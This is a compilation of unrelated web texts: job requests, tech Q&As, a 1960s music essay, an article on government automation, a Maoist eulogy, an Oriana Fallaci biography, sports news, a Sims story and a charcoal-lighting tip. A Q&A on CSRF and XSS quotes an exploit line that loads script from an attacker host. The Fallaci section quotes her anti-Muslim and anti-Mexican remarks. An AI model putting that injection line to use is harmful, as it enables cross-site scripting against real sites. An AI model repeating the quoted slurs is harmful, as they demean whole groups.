I have a page of HTML that I need cleaned up a a bit. There is no header or background color. I will need these two items corrected. This is a simple project that shouldn't take more than an hour or so to complete. Looking for someone who can deliver within two days.
1) move a live domain/website from my hosting account to another hosting account.
2) Change email address forward on contact form.
I need this completed within 12 HOURS!
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That project I emailed you about a few weeks ago is finally coming to fruition. Please see the attached PDF — would you be available to code this page? I will provide the PSD fils, related .jpgs, fonts, and related links.
If you can, can you please provide a price estimate? Thanks.
PS: once completed, there are more like this to complete, using the same template.
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Structure of box is there, needs html code to function with 3 adjustments Plus download….
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We have a report in our admin area which is being generated and works 100%.
We need another field from our database to also display in this same report.
Very quick job for someone who knows what he is doing.
I have an existing website that needs a few things done to it.
There is a main content area that has a fluid height already.
There is a right side column next to the main content area div.
I need the right side column to be fluid height and match the fluid length of the main content area.
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Q: a4j:repeat - Dynamically appending a new element I'm trying to implement (as part of a larger system) a feature where a user is able to post a message. When the user clicks the post button, I'm using RichFaces and a4j to retrieve the generated post using ajax.
I'd rather not have the post show up automatically as soon as the response is returned. Rather, I'd like to add an output panel inside a hidden div. When the user clicks on the post button, that output panel will be populated but obviously hidden from the user.
What I would like to do afterward is move the new element from the hidden div to it's correct position using jQuery.
Anyway, the issue here is I'm using the ajaxKeys property of a4j:repeat to update a single row when an action is taken against it. For example, if somebody gives the row a rating of 5, I want to rerender only that row (by setting the correct key on the server-side).
If I use this method, whilst moving the ajax-created element to be besides the other posts will work fine initially, if a user takes an action against that row, I don't believe a4j:repeat will be able to work with it given that it didn't generate it itself.
Is this correct? If so, is there any workarounds anyone can suggest?
Facebook are able to achieve a similar thing. You can create or remove a post as well as comment on a post and only have that object updated. I'm starting to think that a4j:repeat may not be the best way to approach this issue. Thoughts?

A: I've had a similar problem some time ago. I tried tried and was not able to make it work.
Eventually I decided to use javascript and Seam Remoting which allowed me to have more control about what was happening. I managed to make it work with that approach.

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Austin Psych Fest Made Me Think About Changes From the 1960s
by Anna · Published May 19, 2014 · Updated April 8, 2016
Back when I was in elementary school, we were in a unit learning about the tumultuous events of the 1960s, which included everything from Vietnam to the Civil Rights movement. It was going slowly.
In frustration, my teacher exclaimed that the events of the 60s were both monumental and very recent in historical terms. She may even have sighed in frustration at not being able to make us see this.
Sitting in a classroom in a Houston suburb years after these events had taken place, they seemed as far away as Washington crossing the Delaware.
I suspect part of my inability to think of the 60s as recent is that back when I was in school, studying the era often meant perusing grainy black and white pictures of people in outdated outfits. Looking at those vintage styles meant it was easy to dismiss events like the March on Washington or the sit-in's at lunch counters in the deep South as part of the distant past.
I might be a slow learner, because it has only been in the last few years that I've realized how great the changes that happened in the 1960s were, and how recent they are from a historical perspective.
Over the last year we've noted the 50th anniversaries of the assassination of President John F. Kennedy and of the passing of the Civil Rights Act of 1964. We've also seen pop culture milestones like the 50th anniversary of the Beatles appearing on Ed Sullivan's television show and of the first broadcast of the Doctor Who science-fiction television program. The recent piling up of these milestones makes it clear how close together these events occurred.
It's hard to fault my childhood indifference to the events of the 1960s, as I grew up in a conservative family that stayed far away from the Civil Rights movement and the Youth-quake. My father spent the 1960s and 70s on a college campus, but he was sporting shined shoes and short hair.
Growing up I frequently held down pews in Baptist churches, but I never listened to a protest song or anything even vaguely hippie until long after I left home. There was no Bob Dylan or Joan Baez on the family stereo, especially since our middle-class family didn't have a stereo! Thus apart from a few radio hits and songs used in television commercials, I didn't have much familiarly with the music that accompanied the protest era.
Part of my realization of how recent the events of the 60s are has been triggered by both politics and music. I read a lot about the Civil Rights Summit that took place at the LBJ Presidential Library in early April. This was followed by listening to the bands from 50 years ago at Austin Psych Fest earlier this May.
While I missed seeing the four living Presidents who attended the Civil Rights Summit, that kind of distance wasn't the case at the music festival. At the Austin Psych Fest opening night party at the Red 7 club just off of Red River, I said hello to 1960s band the Flamin' Groovies. Later in the weekend I saw the British early 60s band The Zombies playing on the main stage at the festival. Later that weekend, I saw The Golden Dawn, an Austin psychedelic band from the 1960s.
While the static photos of the 60s make everything look dated and frozen in a moment of hopeless hairstyles and oddly shaped cars, listening to live bands from the 1960s make everything feel supple and alive, like you could reach right back through the melody and discuss the events of the day with the people who were making the decisions.
Surprisingly some of the bands at Austin Psych Fest even used the old school food-coloring-floating-on-oil method of providing a visual interest to the shows. It was a technique I'd heard of being used in the 1960s, but had never seen with my own eyes.
Hearing these bands of a bygone era and seeing these stunning visuals done with an analog technique was mind-expanding for me, even though I spent the weekend hepped up on nothing more than some really good brussels sprouts from a food trailer.
I wasn't expecting it, but after hearing these 60s bands at Austin Psych Fest, I now have an interest in seeing the "Sixty From the 60s" exhibit at the LBJ Library, something I had zero interest in going to before I spent a weekend at Austin Psych Fest.
While I missed attending the historic Civil Rights Summit, I'm now motivated to take steps to correct my ignorance about an important time in our history.
I guess my elementary school teacher did get through to me after all, even if what she said took a few decades to sink in.
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Terrific article! I suspect that hubs & I will salon over it, homestyle, when he gets in, & I've had time to marinade in your words a bit. We frequently do that w/ great writing. My experience was different to yours in a few ways. My grandfather was a Lincoln Republican, strong railroad union man, & studied Masonic rites with an older black worker he often loudly lamented should've been foreman, instead of him. He & my MawMaw were married by a self-described Christian socialist Congregationalist Minister, in 1937. Years later, he helped found the Highlander School, where, of course, Parks, King, & others trained. My mom's Southern Baptist Sunday School class of "Juniors" had afros like the Jackson Five, when I was little, & in the ultimate bit of foreshadowing, an Easter photo of me at 5 shows one of my black babydolls, sitting pretty on my dresser. Unlike my peers, my parents, & one set of grandparents, had friendships w/ African-Americans, long before the 60s. When my mom's black friend & her daughter were with us, at movies, or shopping, we drew stares, &, on one occasion, the word "n-lover". Tempers were high, b/c of opposition to bussing, I guess, in early 70s Nashville. So, my very square Silent Gen, pre-Boomer parents were very different, I suppose, from friends whose parents used racial epithets, & told ethnic jokes, who parents were typically boomers, & better educated. Crazy, but true,
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How Much Will State and Local Governments Automate?
The pandemic is pushing government agencies to consider automation as they face budget constraints. Automation is helping government do more with less.
Ranjani Krishnamurthy
Ranjani Krishnamurthy leads the Services R&D team for CDW, where she is responsible for CDW services portfolio and strategy. A technologist at heart, she drives real business outcomes for customers with technology.
For a few years now, state and local governments have been pursuing robotic process automation (RPA) as a way to automate processes that are business-rule-driven, occur in high volume and are repeatable. Due to the coronavirus pandemic, automation has become a growing need with our customers, to help increase and boost productivity in a new remote work environment or with fewer coworkers. This trend of automation in government is accelerating.
A recent survey of public sector IT leaders found that at the state and local level, the percentage of respondents who had automation as one of their top three priorities jumped to 35 percent after the pandemic struck, up from 23 percent.
The economic toll of the pandemic is one of the key factors in pushing IT leaders to embrace automation. State and local governments are facing looming budget cuts as they see rising unemployment and healthcare costs amid plunging sales, property and income taxes. The National Governors Association has estimated that states need at least $500 billion in federal funding to cover budget gaps.
Automation helps states save money and allow workers to focus on higher-value work. However, there are smart ways to go about automating tasks and processes that government agencies should follow to actually realize the benefits of such a shift.
MORE FROM STATETECH: Discover how state and local governments can tap chatbots to slash staff workloads.
Praise for Automation in Government
Automation in government is becoming more popular as IT leaders look for ways to gain efficiencies. "I think we're all going to look for ways to streamline because things like RPA are going to be necessary," Hawaii CIO Douglas Murdock tells StateScoop. "A lot of states keep archaic processes in place because there are people there to do them, I think. It's civil-service mind block, maybe. But if we lose people, then we're going to have to bring in RPA to take care of things and to get better."
Hawaii has already started down this road by eliminating old paper-based and manual processes. The upgrade was set in motion well before the pandemic but has proven fruitful, since paper-based processes are even less useful than before with so many state employees working remotely.
Other states have turned to RPA to streamline legacy and manual processes. For example, in New Jersey, the state court system used RPA to help automate responses for its legacy complaint management system, known as ACS.
"This empowered the public to pay online for various complaints in NJMCDirect, while robots were built to retrieve payment records and update corresponding complaints in ACS behind the scenes," Kathleen Walch, managing partner and principal analyst at AI-focused research and advisory firm Cognilytica, writes in Forbes.
Jack McCarthy, CIO for the state of New Jersey's judiciary, says that a simple RPA program "performed a work routine in about three minutes, relieving staff of eight to 10 hours of work time normally consumed by repetitive tasks," StateScoop reports.
Krishna Edathil, director of enterprise solution services, cloud and AI for Texas, tells StateScoop that RPA and natural language processing helped the state set up automated email responses after it was flooded with email requests at the onset of the pandemic.
How to Avoid the Pitfalls of Automation
It's clear that automation can save time and money. However, IT leaders need to clearly align, collaborate and educate line-of-business leadership and teams at government agencies on identifying the correct use cases for automation. Every job cannot be and should not be automated away. Understanding the distinction and having a framework for this approach is key for business leaders that can be consistently and systematically working to identify automation opportunities.
That collaborative approach is what Edathil undertook in Texas. "They could see that process happening in front of them and then that fear slowly got away," he tells StateScoop.
Staff members saw tasks that previously took eight hours to complete were finished in 14 to 15 seconds and the process saved $250,000 a year, StateScoop reports. That lessened employees' fears about being replaced but still showed them the value of RPA.
IT leaders also need to validate RPA tools' accuracy before implementing them. An algorithm used to automatically adjust students' important test scores in the United Kingdom went awry, showing the downside of relying too much on software to make judgments.
Automation needs become a holistic approach to IT and innovation, it cannot be a one-time project. Automation is going to become more of a fixture of how governments deliver services to the public, and it has clear benefits. However, it must be applied judiciously and with a long-term plan in place. More tools are not usually the answer, it is about what, why and when more than the how.
"We end up creating a lot of disconnected independent systems and a range of things that really set up [states' IT environments] for instability," Jeremy Goldberg, New York state's interim CIO, tells StateScoop. "How do we approach these issues, these technologies, in a more systematized way? It's not just about the tools. We have a lot of tools and there are more things potentially we could procure, but it's really about what are the rules that are in place around these things and how do we maximize them for the best value, whether that's RPA or other?"
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"""Example use of NrvrCommander.

Public repository - https://github.com/srguiwiz/nrvr-commander

Copyright (c) Nirvana Research 2006-2015.
Simplified BSD License"""

import os.path

from nrvr.util.requirements import SystemRequirements
from nrvr.util.times import Timestamp
from nrvr.vm.vmware import VMwareHypervisor

# this is a good way to preflight check
SystemRequirements.commandsRequiredByImplementations([VMwareHypervisor],
                                                     verbose=True)
# this is a good way to preflight check
VMwareHypervisor.localRequired()

# demoing one way of making new VM names and directories,
# timestamp to the microsecond should be good enough
exampleName = "example" + Timestamp.microsecondTimestamp()
exampleVmxFilePath = os.path.join(VMwareHypervisor.local.suggestedDirectory, exampleName, exampleName + ".vmx")
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When we think about the forces that inspired the creation of our collective, we immediately think of our comrades in Parti Communiste Maoïste. The PCM shows us that even in the centers of imperialism, it is right to rebel. Because of our tremendous respect, love, and international solidarity with the PCM, it was with great sadness that we learned of the death of Comrade Pierre. At the age of 81, this comrade never ceased to serve as a shining example of what it means to be a communist. Comrade Pierre took up the mantle of Maoism at the precise moment when the left in imperialist states was defecting in droves to post-modernism, he never apologized for his support of revolution and taught new generations of revolutionaries what it means to serve the people.
Much has been said about the life of Comrade Pierre by our comrades across the world and within the US, to this symphony of honor and respect our collective can only add very little. None of us knew or had met Comrade Pierre, but his example still reached us though a great distance stood between our two organizations. To us, Comrade Pierre is immortal and lives on in the actions of his comrades in France and across the world. With each advance we take, in Fance, the US, India, or Turkey, the memory of Comrade Pierre and all our martyrs marches with us.
To the Parti Communiste Maoïste, we offer your party, its mass organizations, and supporters our love and condolences on a loss that has affected you all so profoundly. The outcry of working people at the death of Comrade Pierre from one continent to another is a tribute to the work not only of that comrade, but of your entire party. The Tampa Maoist Collective sends you all red internationalist solidarity as you carry on the outstanding legacy of your comrade and friend Pierre.
Long live the revolutionary memory of Comrade Pierre!


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THE OFFICIAL WEBSITE OF ORIANA FALLACI
(YOUTUBE) IN MEMORIA DI ORIANA FALLACI
(YOUTUBE) ORIANA FALLACI – di Andrea Pamparana
Oriana Fallaci (29 June 1929 – 15 September 2006) was an Italian journalist, author, and political interviewer. A former partisan during World War II, she had a long and successful journalistic career.
She interviewed many internationally known leaders and celebrities such as the Sheikh Mujibur Rahman, Dalai Lama, Henry Kissinger, the Shah of Iran, Ayatollah Khomeini, Deng Xiaoping, Willy Brandt, Zulfikar Ali Bhutto, Walter Cronkite, Muammar al-Gaddafi, Federico Fellini, Sammy Davis Jr, Nguyen Cao Ky, Yasir Arafat, Indira Gandhi, Alexandros Panagoulis, Archbishop Makarios III, Golda Meir, Nguyễn Văn Thiệu, Haile Selassie, Sean Connery and Lech Wałęsa.
After retirement, she returned to the spotlight after writing a series of articles and books critical of Islam and Arabs that aroused both support as well as controversy and accusations of racism and intolerance.
The Resistance Movement
Fallaci was born in Florence, Italy.
During World War II, she joined the resistance despite her youth, in the democratic armed group "Giustizia e Libertà".
Her father Edoardo Fallaci, a cabinet maker in Florence, was a political activist struggling to put an end to the dictatorship of Italian fascist leader Benito Mussolini. It was during this period that Fallaci was first exposed to the atrocities of war.
She later received a certificate for valour from the Italian army.
In a 1976 retrospective collection of her works, she remarked that:
Whether it comes from a despotic sovereign or an elected president, from a murderous general or a beloved leader, I see power as an inhuman and hateful phenomenon. . . . I have always looked on disobedience toward the oppressive as the only way to use the miracle of having been born.
Beginning as a journalist
Fallaci began her journalistic career in her teens, becoming a special correspondent for the Italian paper Il mattino dell'Italia centrale in 1946.
Starting in 1967 she worked as a war correspondent, in Vietnam, for the Indo-Pakistani War, in the Middle East, and in South America.
Photo : Oriana Fallaci meets Deng Xiaoping in 1980
For many years, Fallaci was a special correspondent for the political magazine L'Europeo and wrote for a number of leading newspapers and Epoca magazine. During the 1968 Tlatelolco massacre, prior to the 1968 Summer Olympics, Fallaci was shot three times, dragged down stairs by her hair, and left for dead by Mexican forces.
In a profile of Fallaci, The New Yorker described her former support of the student activists as having "devolved into a dislike of Mexicans":
The demonstrations by immigrants in the United States these past few months "disgust" her, especially when protesters displayed the Mexican flag. "I don't love the Mexicans," Fallaci said, invoking her nasty treatment at the hands of Mexican police in 1968. "If you hold a gun and say, 'Choose who is worse between the Muslims and the Mexicans,' I have a moment of hesitation. Then I choose the Muslims, because they have broken my balls."
Photo : Oriana Fallaci, interviewing Ayatollah Khomeini in September 1979
In the early 1970s Fallaci had an affair with the subject of one of her interviews, Alexandros Panagoulis, who had been a solitary figure in the Greek resistance against the 1967 dictatorship, having been captured, heavily tortured and imprisoned for his (unsuccessful) assassination attempt on dictator and ex-Colonel Georgios Papadopoulos. Panagoulis died in 1976, under controversial circumstances, in a road accident. Fallaci maintained that Panagoulis was assassinated by remnants of the Greek military junta and her book Un Uomo (A Man) was inspired by his life.
During her 1972 interview with Henry Kissinger, Kissinger agreed that the Vietnam War was a "useless war" and compared himself to "the cowboy who leads the wagon train by riding ahead alone on his horse."
Kissinger later wrote that it was "the single most disastrous conversation I have ever had with any member of the press."
During her 1979 interview with Ayatollah Khomeini, she addressed him as a "tyrant" and managed to unveil herself from the chador:
OF- I still have to ask you a lot of things. About the "chador," for example, which I was obliged to wear to come and interview you, and which you impose on Iranian women. […] I am not only referring to the dress but to what it represents, I mean the apartheid Iranian women have been forced into after the revolution. They cannot study at the university with men, they cannot work with men, they cannot swim in the sea or in a swimming-pool with men. They have to do everything separately, wearing their "chador." By the way, how can you swim wearing a "chador"?
AK- None of this concerns you, our customs do not concern you. If you don't like the islamic dress you are not obliged to wear it, since it is for young women and respectable ladies.
OF- This is very kind of you, Imam, since you tell me that, I'm going to immediately rid myself of this stupid medieval rag. There !.
Photo : JFK & Jackie (By Oriana Fallaci)
Living in New York and in a house she owned in Tuscany, Fallaci lectured at the University of Chicago, Yale University, Harvard University, and Columbia University.
After 9/11
After September 11, 2001, beginning with The Rage and the Pride (initially a four-page article in Corriere della Sera, the major national newspaper in Italy), Fallaci wrote three books critical of Islamic extremists and Islam in general, and in both writing and interviews warned that Europe was too tolerant of Muslims.
She wrote that "sons of Allah breed like rats" and in a Wall Street Journal interview in 2005, said that Europe was no longer Europe but "Eurabia."
The Rage and The Pride and The Force of Reason both became best-sellers.
Fallaci was a life-long heavy smoker. She died on September 15, 2006 in her native Florence from cancer.
Fallaci twice received the St. Vincent Prize for journalism, as well as the Bancarella Prize (1971) for Nothing, and So Be It; Viareggio Prize (1979), for Un uomo: Romanzo; and Prix Antibes, 1993, for Inshallah. She received a D.Litt. from Columbia College (Chicago).
On November 30, 2005 in New York, Fallaci received the Annie Taylor Award for courage from the Center for the Study of Popular Culture. She was honored for the "heroism and the values" that rendered her "a symbol of the fight against Islamic fascism and a knight of the freedom of humankind." The Annie Taylor Award is annually awarded to people who have demonstrated unusual courage in adverse conditions and great danger. David Horowitz, founder of the center, described Fallaci as "a General in the fight for freedom."
On December 8, 2005 Oriana Fallaci was awarded the Ambrogino d'oro, the highest recognition of the city of Milan.
Acting on a proposal by Minister of Education Letizia Moratti, on December 14, 2005 the President of the Italian Republic, Carlo Azeglio Ciampi, awarded Oriana Fallaci a Gold Medal for her cultural contributions (Benemerita della Cultura). The state of her health prevented her from attending the ceremony.
She wrote in a speech: "This gold medal moves me because it gratifies my efforts as writer and journalist, my front line engagement to defend our culture, love for my country and for freedom. My current well known health situation prevents me from traveling and receiving in person this gift that for me, a woman not used to medals and not too keen on trophies, has an intense ethical and moral significance."
On February 12, 2006, the Governor of Tuscany, Riccardo Nencini, awarded Fallaci a gold medal from the Council of Tuscany.
Quotes and quotations by Oriana Fallaci
Arafat contradicts himself every five minutes. He always plays the double-cross, lies even if you ask him what time it is.
Europe is no longer Europe, it is Eurabia, a colony of Islam, where the Islamic invasion does not proceed only in a physical sense, but also in a mental and cultural sense.
Glory is a heavy burden, a murdering poison, and to bear it is an art. And to have that art is rare.
Have you ever thought that war is a madhouse and that everyone in the war is a patient?
Heroes can be sweet.
How do you dare to ask me for a solution? It's like asking Seneca for a solution. You remember what he did? He committed suicide!
I am a danger to myself if I get angry.
I am an atheist, and if an atheist and a pope think the same things, there must be something true. There must be some human truth that is beyond religion.
I am disgusted by the anti-Semitism of many Italians, of many Europeans.
I am known for a life spent in the struggle for freedom, and freedom includes the freedom of religion.
I cry, sometimes, because I'm not 20 years younger, and I'm not healthy. But if I were, I would even sacrifice my writing to enter politics.
I defend Israel's right to exist, to defend themselves, to not let themselves be exterminated a second time.
I didn't want to kill a man. I'm not capable of killing a man. I wanted to kill a tyrant.
I don't want to hear about my death.
I feel less alone when I read the books of Ratzinger.
I find it shameful that in nearly all the universities of Europe, Palestinian students sponsor and nurture anti-Semitism.
I have always looked on disobedience toward the oppressive as the only way to use the miracle of having been born.
I have reached the conclusion that those who have physical courage also have moral courage. Physical courage is a great test.
I was a little girl fighting as a partisan against Nazi-Fascism.
Is it right to shoot the poor prostitute or a woman who is unfaithful to her husband, or a man who loves another man?
Khomeini was not a puppet like Arafat or Qaddafi or the many other dictators I met in the Islamic world. He was a sort of Pope, a sort of king – a real leader.
The increased presence of Muslims in Italy and in Europe is directly proportional to our loss of freedom.
The moment you give up your principles, and your values, you are dead, your culture is dead, your civilization is dead. Period.
The Muslims refuse our culture and try to impose their culture on us. I reject them, and this is not only my duty toward my culture-it is toward my values, my principles, my civilization.
This Islam business kidnapped me.
War is something Arafat sends others to do for him. That is, the poor souls who believe in him. This pompous incompetent caused the failure of the Camp David negotiations, Clinton's mediation.
We are an age without leaders. We stopped having leaders at the end of the 20th century.
When my father was arrested, we didn't know where they had him. My mother found him at the house of torture. It was called Villa Triste.
Whether it comes from a despotic sovereign or an elected president, from a murderous general or a beloved leader, I see power as an inhuman and hateful phenomenon.
Why do the people humiliate themselves by voting? I didn't vote because I have dignity. If I had closed my nose and voted for one of them, I would spit on my own face.
Without Khomeini, we would not be where we are. What a pity that, when pregnant with him, his mother did not choose to have an abortion.
Wojtyla was a warrior, who did more to end the Soviet Union than even America.
You cannot govern, you cannot administrate, with an ignoramus.
You cannot survive if you do not know the past.


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Q: When does viewstate stop CSRF and when does it fail to do so? Under what conditions does having a viewstate in a request prevent CSRF attacks?  This exploit claims that even though a viewstate is present in the request,  it is still vulnerable to CSRF.  However the exploit doesn't explain why this is the case.

A: The viewstate is a mean to persist the state of a view across postbacks (i. e. the property values of the controls). If this state can be guessed or forged by an attacker, then an attacker is also able to forge an authentic cross-site request.
In the mentioned case, it seems that the attack actually requires a Cross-Site Scripting vulnerability to for the CSRF exploit:

Through a combination of XSS and CSRF, a user can be added to the web application by configuring the snmpd.conf file to point to an attacker-controlled JavaScript file:
syscontact <script src="http://attacker/evil.js"></script>

So having the exploit code executed inside the target origin, this request forgery attack is not that 'cross-site' any more.
Besides that, since the viewstate can be predictable under certain circumstances and thus does not protect against CSRF attacks, vendors added some unpredictable piece of information to the viewstate mechanism. In ASP.NET this is called the ViewStateUserKey property which is basically a private key per user that is used to salt for the viewstate's MAC calculation.
But as the exploit description says, it seems that they are already using such protection measures:

[…] NPM is also vulnerable to CSRF attacks despite the fact that it makes use of VIEWSTATE protection.

So, again, this is rather a Cross-Site Scripting vulnerability than a Cross-Site Request Forgery vulnerability. Because if you are already able to execute JavaScript code from within the site, you already have the full control over the site.


The New York Yankees have reportedly named the six prospects heading to the Arizona Fall League this season.
According to Joel Sherman of the NY Post, the New York Yankees are sending RHP Dillon Tate, OF Estevan Florial, LHP Justus Sheffield, SS Kyle Holder, SS/2B Thairo Estrada and 1B Chris Gittens to the Arizona Fall League.
The Yankees have utilized the AFL to their advantage over the last number of years, as some of the organization's top prospects — Gary Sanchez, Aaron Judge, Greg Bird and Gleyber Torres, just to name a few — have all suited up for the fall ball season.
The front office will continue to trot out big names once again.
Florial — who MLBPipeline considers as the Yankees fourth-best prospect — is the top youngster of the bunch. Fans will get a better understanding as to why the Yankees didn't want to part with him in the Sonny Gray deadline deal. Both Sheffield (five) and Tate (14) are two high-upside pitchers that will look to continue their growth. The trio of Holder, Estrada and Gittens may not be highly-touted prospects but they'll have a chance to gain additional notoriety out west.
Fortunately for some of these players, they'll have a familiar face leading the charge. According to Matt Kardos of Pinstripe Prospects, Trenton Thunder manager Jay Bell will hold the same position with the Scottsdale Scorpions. Sheffield, Tate, Estrada have all played under Bell this year.
Tampa Yankees Manager Jay Bell is also managing the Scottsdale Scorpions in the AFL.
For its 26th season, the Arizona Fall League will begin on October 10 and will have games played until November 18.


As a consequence of the REACH dossier preparation, all available data on synthetic zeolites - as described by the Consortium registered by the Lead Registrant as Zeolite, cuboidal, crystalline, synthetic, non fibrous (see list of substances for more details) – have been thoroughly reviewed. Based on this evaluation the members of the Synthetic Zeolites Consortium have come to the conclusion that typical zeolites (non fibrous) covered by the Synthetic Zeolites Consortium can be classified as harmless and non-hazardous for all end-points. Yet some specific grades are classified but do not come into contact with consumers.
Since classic synthetic zeolites are not classified as hazardous or assessed to be PBT or vPvB, no exposure assessment is required for these substances. Moreover there is no obligation to communicate along the supply chain about uses and exposures according to the REACH-Regulation and to the Regulation (EC) No 1272/2008 on classification, labelling and packaging of substances and mixtures (CLP).


This group of formally homeless kids, are now on their way to a better life. They start their young adult lives by taking the university aptitude test at the Student Union building. All are granted a scholarship in different programs.
When Bryon and Archie hear that Cedrick got married, they get engaged. Then, on the weekend, they throw a bachelor party while the girls go to The Grind Dance Club for their own celebration.
Archie and Bryon plan a double wedding at the park. There, Bryon takes Ladonna to be his wife, and Archie marries Lea.
After the ceremony, they both cut a cake and enjoy a large reception.
Karie wants to go to France to learn Nectar Making. When she tells the group where she's going, the newly weds, Archie and Cedrick, want to go with her, thinking it's the perfect place for a honeymoon. They book a flight and arrive in France.
Bryon and Ladonna have other plans. He wants to go to Egypt to buy a camera and learn photography.
Its a hot summer day in France so, to cool down, Karie, Archie and Hayley play in the town square fountain. Cedrick is much too reserved and practical to join in, but he does think it looks like a lot of fun.
Later, after checking out the town, they meet up for dinner at a little French cafe, before going back to the base camp.
While the newly weds are having their own fun, Karie goes to the Nectary. She buys a nectar making machine and a few nectar racks. Downstairs, in the cellar, she discovers a dive well and jumps in. At the bottom she finds a bottle of old nectar and a few other treasures.
Then, while tasting nectar from the racks, she meets Andre Labelle, and there's definite chemistry between them. They spend the day talking about nectar, future plans and getting to know one another.
It's not long before Andre asks her to be his girlfriend and she agrees. Now she needs to search out fruits found only in France. On the grounds of a large empty house, she finds all kinds of grapes and harvests them to take home.
At the end of the day, the group meet up at a dance club for dinner, dancing, and a little Karaoke.
Then, while playing darts with Cedrick, Andre arrives and surprises Karie with an engagement ring, which she accepts.
Before returning home, Andre and Karie have a simple but elegant wedding at the lake.
Andre is Artistic, Eco-Friendly, a Natural Cook, a Great Kisser, Friendly and a Vegetarian. He wants to be known as a Culinary Librarian, and become a baker.
Having grown into a respectable young adult, Lea replaces her Mooch trait with Athletic. She asks her husband to go jogging with her through Les Champs. Wanting to please his new bride, he goes with her but falls way behind.
But, Archie is a Couch Potato and not in good shape, so when they get back to the base camp, he collapses on the couch, out of breath and sweaty.
Meanwhile, Bryon and Ladonna arrive in Egypt. The first stop for Bryon is the market, where he buys a professional camera.
While at the marketplace, Bryon sees a snake charmer and can't resist taking a picture. Later, he tries charming the snake but nothing happens, so he feels around inside the basket, and gets bitten.
Bryon's Adventurous and wants to take photos of the Egyptian ruins, so when he's offered an assignment to visit all the different places for a travel brochure he accepts. At one of the pyramids he finds a dig site and excavates it. Then he photographs the ruins of Karnak.
Ladonna spends most of the time relaxing and shopping while Bryon has fun playing with his camera. On the last day of their trip they spend the day together, windsurfing, fishing and swimming in the Nile River.
Back home, over dinner, they discuss their future plans. Ladonna suggests they all go to college and get the degrees they need, so they can get the jobs they want.
After enrolling in their chosen programs, they all arrive at the dorm.
Cedrick wants to become a licensed Private Investigator, and enrolls in the Technology program. His wife, Hayley, wants to become a Star News Anchor so she enrolls in the Communications program, along with Archie, who wants to improve his writing skills as an Author. Lea wants to be a Collector and Diver, therefore she enrolls in the Physical Ed program. Bryon wants to be a Photographer/ Sculptor, so he enrolls in the Fine Arts program along with his wife, Ladonna, who wants to be a famous Rock Star. Karie enrolls in the Science program, to learn how to genetically alter fruits and make better Nectar. Her husband, Andre, wants to be a Baker and enrolls in the Fine Arts program to learn how to make beautifully decorated cakes.
After breakfast they all run to class. At the end of the day, they relax and cool of at the local swimming pool.
The first semester is over, some passed with flying colors while others failed miserably. But, its the weekend, so they forget about school and hang out at the lake. Cedrick goes fishing, Archie plays kicky bag with Andre and Karie sunbathes. Bryon sketches his wife posing on a log, and the rest of the girls go for a swim.
Midday, the boys spread out a picnic lunch for everyone.
Later, Andre practices his golf swing while the others chat and enjoy the sun. In the evening, some other students arrive, so they light the bonfire, turn on the music and hang out.
Sunday morning they go out for a pancake breakfast before going to the library. Most of them got a little too much sun at the lake, and decide to spend the day inside brushing up on their skills.
At the end of the 2nd semester they all graduate. Some not so well and others with honors. They also gained new traits from their association with the social groups and graduation.
Karie became Brave and Over Emotional, and graduated with a C.
Andre became a Perfectionist and Flirty, and graduated with an A.
Cedrick is now Charismatic and Loves the Outdoors, and graduated with a C.
Hayley is now a Bookworm and Nurturing, and graduated with a B.
Archie became Dramatic and Friendly, and graduated with a C.
Lea is now Dramatic and Adventurous, and graduated with an A.
Bryon became a Savvy Sculptor and Hopeless Romantic, and graduated with a B.
Ladonna is now Ambitious and Irresistible, and graduated with an A.
Now it's time for them to go home and plan the rest of their lives.
Back home, the group sit on the back porch with a bottle of Nectar and a plate of small cakes. They talk about their plans for the future and where they want to go.
Andre announces he's taking his wife and moving back to France. There, he will become a French baker and Karie can make the best Nectar.
Bryon tells everyone that he and Ladonna are moving to England. She can pursue her dreams of becoming a Rock Star while he continues his photography, sculpting and artwork.
Next, Archie say he wants to move to a south pacific Island and relax in the sun. So, he and Lea are moving to the Isle of Simaui, where he can continue to write, and she can collect valuables on land and from Diving.
Cedrick has a good job right here in Bluffington as a Private Investigator and doesn't want to move. Therefore, he says he and Hayley will continue to live in the house.
Within a few days, everyone leaves for their various destinations and continue to live long, and happy lives.
This ends the story of "7 Little Sims"
Absolutely awesome … again!! Love how you took those 7 little kids and built such a great story.
Thanks Barbara, glad you like it 🙂 There's lots more in store for them yet.


So you're getting ready to fire up the old charcoal grill and discover your out of lighter fluid, so you Google "how to light charcoal without lighter fluid or chimney". Like most sites we would first recommend the use of a charcoal chimney however, if your still using lighter fluid you don't have one of those either. There is an easy solution Doritos, yes those Doritos and no I am not kidding.
Don't have any Doritos handy? Here is our post on other alternatives to lighter fluid.
Step 1: Lay a bed of charcoal briquettes flat on your lower grate. This is to keep the chips from falling through the grill grates. This step is essential for lighting your charcoal without lighter fluid or a chimney so proceed with caution More coals for a bigger fire less for a smaller one. About 8 briquettes are the minimum for this.
Step 2: Place two handfuls of Doritos onto the charcoal bed you just made.
Step 3: Gently place more briquettes onto and around the chips. Try to avoid breaking the chips. Full size chips will burn longer especially when laying on top of one another. Leave the corners of 2 or 3 chips sticking out of your charcoal pile.
Step 4: Light the Doritos that you left sticking out. Once they have begun burning watch them for the first minute or so. They will stay lit after that unless you have high winds.
Step 5: Wait. In about 20 minutes the chips will be burnt and your charcoal will be lit At this point you may add more coals and/or stir them. It will take another 15 minutes or so for the charcoal to get fully hot but it does work VERY WELL.
You can easily light your charcoal using only Doritos corn chips. Lay a bed of charcoal lay some Doritos on top, pile more coals on top of the chips and light.
Great post I never would have thought of this. Tried it out and it worked great.


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Victoria Real: Richard Daws and Rob Love
Victoria Real is run by a couple of guys who just want to do what they're interested in – and so far they're doing rather well at it.
Name: Richard Daws and Rob Love Company: Victoria Real Sector: Cutting edge TV production Founded: 1990 Annual Turnover: £6.7 million
Victoria Real is run by a couple of guys who just want to do what they're interested in – and so far they're doing rather well at it. Richard Daws and his partner Rob Love started up the digital communications company as a traditional television production company in 1990.
The unusual name has two sources: 'Real' to reflect the nature of the programmes they set out to create and 'Victoria' to give it an English feel. Although Daws laughs that it is a point of dispute between himself and Love that Victoria was actually the name of a girlfriend of the time.
Wherever the name came from, however, the achievements of Victoria Real over the last 12 years can't be questioned. The pair met as students at Leeds and started by making sports documentaries for ITV. But their big break came in 1994:
"The first turning point for the company was with the 1994 World Cup," explains Daws. This was the point where we moved into interactive media, allowing viewers to pick the camera or even which player to follow during the matches."
Among the first to provide this kind of service, Daws and Love put themselves at the head of the digital TV experimentation at a time when most people didn't understand the concept.
